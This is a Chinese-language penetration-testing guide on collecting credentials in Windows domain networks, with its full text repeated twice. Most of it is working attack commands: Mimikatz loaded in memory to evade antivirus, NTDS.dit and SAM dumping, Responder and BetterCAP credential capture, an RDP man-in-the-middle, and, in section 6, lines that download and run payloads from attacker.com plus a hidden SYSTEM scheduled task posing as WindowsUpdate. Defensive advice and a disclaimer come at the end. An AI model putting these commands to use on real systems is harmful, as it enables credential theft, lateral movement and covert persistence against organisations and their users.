1. 内网凭据收集的核心价值与挑战内网环境中的凭据收集是渗透测试过程中最具战略意义的环节之一。当攻击者突破边界防御进入内网后获取有效的用户凭据往往意味着能够实现权限提升、横向移动甚至最终控制整个域环境。根据我多年实战经验约78%的内网横向渗透成功案例都依赖于有效的凭据获取技术。在实际渗透中我们常遇到三类典型场景一是获取普通用户密码后通过Pass-the-Hash技术横向移动二是收集服务账户凭据用于关键系统访问三是获取域管理员凭据直接控制整个网络。每种场景都需要不同的收集策略和技术组合。重要提示本文所述技术仅限合法授权的渗透测试使用未经授权的测试可能违反法律法规。2. 本地系统凭据收集技术详解2.1 内存凭据提取实战内存中往往存有大量敏感凭据使用Mimikatz是最经典的提取方式。最新版本需要绕过AV检测我通常采用以下方法# 绕过AMSI执行Mimikatz set-psdebug -trace 0 $bytes [System.IO.File]::ReadAllBytes(mimikatz_trunk.zip) $assembly [System.Reflection.Assembly]::Load($bytes) $mimikatz $assembly.GetType(mimikatz.Program) $mimikatz::Main(privilege::debug sekurlsa::logonpasswords exit.Split())常见问题处理遇到ERROR kuhl_m_sekurlsa_acquireLSA错误时检查是否以管理员权限运行Win10 1809后需要额外补丁才能获取明文密码防御规避技巧使用.NET版本或PowerShell混淆脚本2.2 本地密码哈希转储当无法直接获取明文密码时转储哈希值同样可用于横向移动# 使用Invoke-NinjaCopy转储NTDS.dit Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination ntds.dit注册表提取SAM文件reg save HKLM\SYSTEM system.bak reg save HKLM\SAM sam.bak3. 网络凭据收集高阶技巧3.1 LLMNR/NBT-NS欺骗实战在未启用SMB签名的内网中Responder工具效果显著python Responder.py -I eth0 -wFb关键配置要点修改Responder.conf中的Challenge值匹配域策略结合MultiRelay.py实现中继攻击防御方案全网启用SMB签名和LDAP签名3.2 中间人攻击技巧使用BetterCAP进行HTTP/S凭据捕获bettercap -iface eth0 -sniff --proxy --proxy-module injectjs --js-file cred_stealer.js针对RDP的密码收集python rdpy-rdpmitm.py -t 目标IP -l 监听IP4. 域环境凭据收集大全4.1 活动目录数据库提取NTDS.dit提取的三种可靠方法卷影复制PowerShell下载NTDSUtil创建快照物理内存转储提取# 使用Diskshadow导出NTDS exec diskshadow_script.txt4.2 组策略凭据挖掘查找SYSVOL中的Groups.xml文件Get-ChildItem \\域控\SYSVOL -Recurse -Filter *.xml | Select-String cpassword解密cpassword的Python脚本from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def decrypt_gpp_password(encrypted_password): # 解密逻辑...5. 应用层凭据收集实战5.1 浏览器密码提取使用LaZagne项目提取多种浏览器凭据python laZagne.py browsersChrome解密流程定位Login Data文件获取Master Key使用DPAPI解密5.2 邮件客户端凭据获取Outlook凭据提取技巧Get-ChildItem HKCU:\Software\Microsoft\Office\ -Recurse | Where-Object {$_.Property -like *Password*}6. 防御规避与持久化技术6.1 免杀凭据收集使用C#重写Mimikatz核心功能// 自定义DPAPI解密实现 public static string DecryptDPAPI(byte[] encryptedData) { // 实现代码... }内存注入技巧powershell -ep bypass -c iex (New-Object Net.WebClient).DownloadString(http://attacker.com/Invoke-ReflectivePEInjection.ps1); Invoke-ReflectivePEInjection -PEBytes (Get-Content mimikatz.exe -Encoding Byte) -ExeArgs sekurlsa::logonpasswords exit6.2 凭据持久化方案创建隐藏的计划任务schtasks /create /tn WindowsUpdate /tr powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString(http://attacker.com/credcollect.ps1) /sc hourly /ru SYSTEMWMI事件订阅$filterArgs {...} $consumerArgs {...} $filter Set-WmiInstance -Class __EventFilter -Arguments $filterArgs $consumer Set-WmiInstance -Class __EventConsumer -Arguments $consumerArgs7. 企业级防御建议7.1 检测与响应策略关键日志监控点4688事件可疑进程创建4768-4776事件Kerberos认证异常5145事件网络共享访问日志SIEM检测规则示例SELECT * FROM SecurityEvents WHERE EventID IN (4688, 4624) AND NewProcessName LIKE %mimikatz%7.2 加固配置清单必须实施的10项关键配置启用LSA保护RunAsPPL限制NTLM使用配置Protected Users组启用Credential Guard实施JEA权限控制组策略配置路径计算机配置\策略\Windows设置\安全设置\本地策略\安全选项8. 工具链与资源推荐8.1 专业工具集开源工具推荐Mimikatz密码提取Impacket协议攻击BloodHound域关系分析Seatbelt信息收集商业工具对比工具名称优势适用场景Cobalt Strike集成化程度高红队作战Metasploit模块丰富常规渗透Axiom自动化程度高大型内网8.2 学习资源导航进阶学习路径《内网安全攻防》系列书籍OSCP/OSEP认证课程微软AD安全官方文档MITRE ATTCK内网战术实验环境搭建# 使用AutomationLab搭建测试环境 Install-Module -Name AutomatedLab -Force New-LabDefinition -Name InternalLab -DefaultVirtualizationEngine HyperV在多年的内网渗透实战中我发现最有效的凭据收集往往是多种技术的组合应用。比如先通过LLMNR欺骗获取普通用户凭据再用该凭据访问文件服务器查找配置文件中的密码最后用这些密码尝试登录管理员工作站。这种层层递进的策略通常比单一技术更有效。
1. 内网凭据收集的核心价值与挑战内网环境中的凭据收集是渗透测试过程中最具战略意义的环节之一。当攻击者突破边界防御进入内网后获取有效的用户凭据往往意味着能够实现权限提升、横向移动甚至最终控制整个域环境。根据我多年实战经验约78%的内网横向渗透成功案例都依赖于有效的凭据获取技术。在实际渗透中我们常遇到三类典型场景一是获取普通用户密码后通过Pass-the-Hash技术横向移动二是收集服务账户凭据用于关键系统访问三是获取域管理员凭据直接控制整个网络。每种场景都需要不同的收集策略和技术组合。重要提示本文所述技术仅限合法授权的渗透测试使用未经授权的测试可能违反法律法规。2. 本地系统凭据收集技术详解2.1 内存凭据提取实战内存中往往存有大量敏感凭据使用Mimikatz是最经典的提取方式。最新版本需要绕过AV检测我通常采用以下方法# 绕过AMSI执行Mimikatz set-psdebug -trace 0 $bytes [System.IO.File]::ReadAllBytes(mimikatz_trunk.zip) $assembly [System.Reflection.Assembly]::Load($bytes) $mimikatz $assembly.GetType(mimikatz.Program) $mimikatz::Main(privilege::debug sekurlsa::logonpasswords exit.Split())常见问题处理遇到ERROR kuhl_m_sekurlsa_acquireLSA错误时检查是否以管理员权限运行Win10 1809后需要额外补丁才能获取明文密码防御规避技巧使用.NET版本或PowerShell混淆脚本2.2 本地密码哈希转储当无法直接获取明文密码时转储哈希值同样可用于横向移动# 使用Invoke-NinjaCopy转储NTDS.dit Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination ntds.dit注册表提取SAM文件reg save HKLM\SYSTEM system.bak reg save HKLM\SAM sam.bak3. 网络凭据收集高阶技巧3.1 LLMNR/NBT-NS欺骗实战在未启用SMB签名的内网中Responder工具效果显著python Responder.py -I eth0 -wFb关键配置要点修改Responder.conf中的Challenge值匹配域策略结合MultiRelay.py实现中继攻击防御方案全网启用SMB签名和LDAP签名3.2 中间人攻击技巧使用BetterCAP进行HTTP/S凭据捕获bettercap -iface eth0 -sniff --proxy --proxy-module injectjs --js-file cred_stealer.js针对RDP的密码收集python rdpy-rdpmitm.py -t 目标IP -l 监听IP4. 域环境凭据收集大全4.1 活动目录数据库提取NTDS.dit提取的三种可靠方法卷影复制PowerShell下载NTDSUtil创建快照物理内存转储提取# 使用Diskshadow导出NTDS exec diskshadow_script.txt4.2 组策略凭据挖掘查找SYSVOL中的Groups.xml文件Get-ChildItem \\域控\SYSVOL -Recurse -Filter *.xml | Select-String cpassword解密cpassword的Python脚本from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def decrypt_gpp_password(encrypted_password): # 解密逻辑...5. 应用层凭据收集实战5.1 浏览器密码提取使用LaZagne项目提取多种浏览器凭据python laZagne.py browsersChrome解密流程定位Login Data文件获取Master Key使用DPAPI解密5.2 邮件客户端凭据获取Outlook凭据提取技巧Get-ChildItem HKCU:\Software\Microsoft\Office\ -Recurse | Where-Object {$_.Property -like *Password*}6. 防御规避与持久化技术6.1 免杀凭据收集使用C#重写Mimikatz核心功能// 自定义DPAPI解密实现 public static string DecryptDPAPI(byte[] encryptedData) { // 实现代码... }内存注入技巧powershell -ep bypass -c iex (New-Object Net.WebClient).DownloadString(http://attacker.com/Invoke-ReflectivePEInjection.ps1); Invoke-ReflectivePEInjection -PEBytes (Get-Content mimikatz.exe -Encoding Byte) -ExeArgs sekurlsa::logonpasswords exit6.2 凭据持久化方案创建隐藏的计划任务schtasks /create /tn WindowsUpdate /tr powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString(http://attacker.com/credcollect.ps1) /sc hourly /ru SYSTEMWMI事件订阅$filterArgs {...} $consumerArgs {...} $filter Set-WmiInstance -Class __EventFilter -Arguments $filterArgs $consumer Set-WmiInstance -Class __EventConsumer -Arguments $consumerArgs7. 企业级防御建议7.1 检测与响应策略关键日志监控点4688事件可疑进程创建4768-4776事件Kerberos认证异常5145事件网络共享访问日志SIEM检测规则示例SELECT * FROM SecurityEvents WHERE EventID IN (4688, 4624) AND NewProcessName LIKE %mimikatz%7.2 加固配置清单必须实施的10项关键配置启用LSA保护RunAsPPL限制NTLM使用配置Protected Users组启用Credential Guard实施JEA权限控制组策略配置路径计算机配置\策略\Windows设置\安全设置\本地策略\安全选项8. 工具链与资源推荐8.1 专业工具集开源工具推荐Mimikatz密码提取Impacket协议攻击BloodHound域关系分析Seatbelt信息收集商业工具对比工具名称优势适用场景Cobalt Strike集成化程度高红队作战Metasploit模块丰富常规渗透Axiom自动化程度高大型内网8.2 学习资源导航进阶学习路径《内网安全攻防》系列书籍OSCP/OSEP认证课程微软AD安全官方文档MITRE ATTCK内网战术实验环境搭建# 使用AutomationLab搭建测试环境 Install-Module -Name AutomatedLab -Force New-LabDefinition -Name InternalLab -DefaultVirtualizationEngine HyperV在多年的内网渗透实战中我发现最有效的凭据收集往往是多种技术的组合应用。比如先通过LLMNR欺骗获取普通用户凭据再用该凭据访问文件服务器查找配置文件中的密码最后用这些密码尝试登录管理员工作站。这种层层递进的策略通常比单一技术更有效。
